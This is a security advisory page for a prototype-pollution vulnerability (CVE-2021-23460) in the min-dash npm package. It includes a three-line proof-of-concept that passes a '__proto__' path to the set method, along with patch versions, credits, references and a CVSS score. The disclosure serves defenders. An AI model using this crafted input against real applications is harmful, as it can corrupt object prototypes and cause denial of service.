Prototype pollution in min-dash
Impact
The set method is vulnerable to prototype pollution with specially crafted inputs.
// insert the following into poc.js and run node poc,js (after installing the package)
let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);Patches
min-dash>=3.8.1 fix the issue.
Workarounds
No workarounds exist for the issue.
References
Closed via https://github.com/bpmn-io/min-dash/pull/21.
Credits
Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | org.webjars.npm:min-dash | < 3.8.1 | 3.8.1 |
| npm package | min-dash | < 3.8.1 | 3.8.1 |
References
- https://github.com/bpmn-io/min-dash/security/advisories/GHSA-2m53-83f3-562j
- https://nvd.nist.gov/vuln/detail/CVE-2021-23460
- https://github.com/bpmn-io/min-dash/pull/21
- https://github.com/bpmn-io/min-dash/commit/2c6689e2aa29f4b66a4874a2f3003431e9db48d1
- https://github.com/bpmn-io/min-dash
- https://github.com/bpmn-io/min-dash/blob/c4d579c0eb2ed0739592111c3906b198921d3f52/lib/object.js#L32
- https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2342127
- https://snyk.io/vuln/SNYK-JS-MINDASH-2340605
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-1321- Platform
- Java / Kotlin (Maven), npm
- Package
org.webjars.npm:min-dash, min-dash- Disclosed
- 01.02.2022
- Updated
- 11.10.2026 12:21
Sources and licenses
OSV / GitHub Advisory Database - GHSA-2m53-83f3-562j - CC BY 4.0
Vulnerability history: min-dash
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
This is the only known vulnerability of this package.
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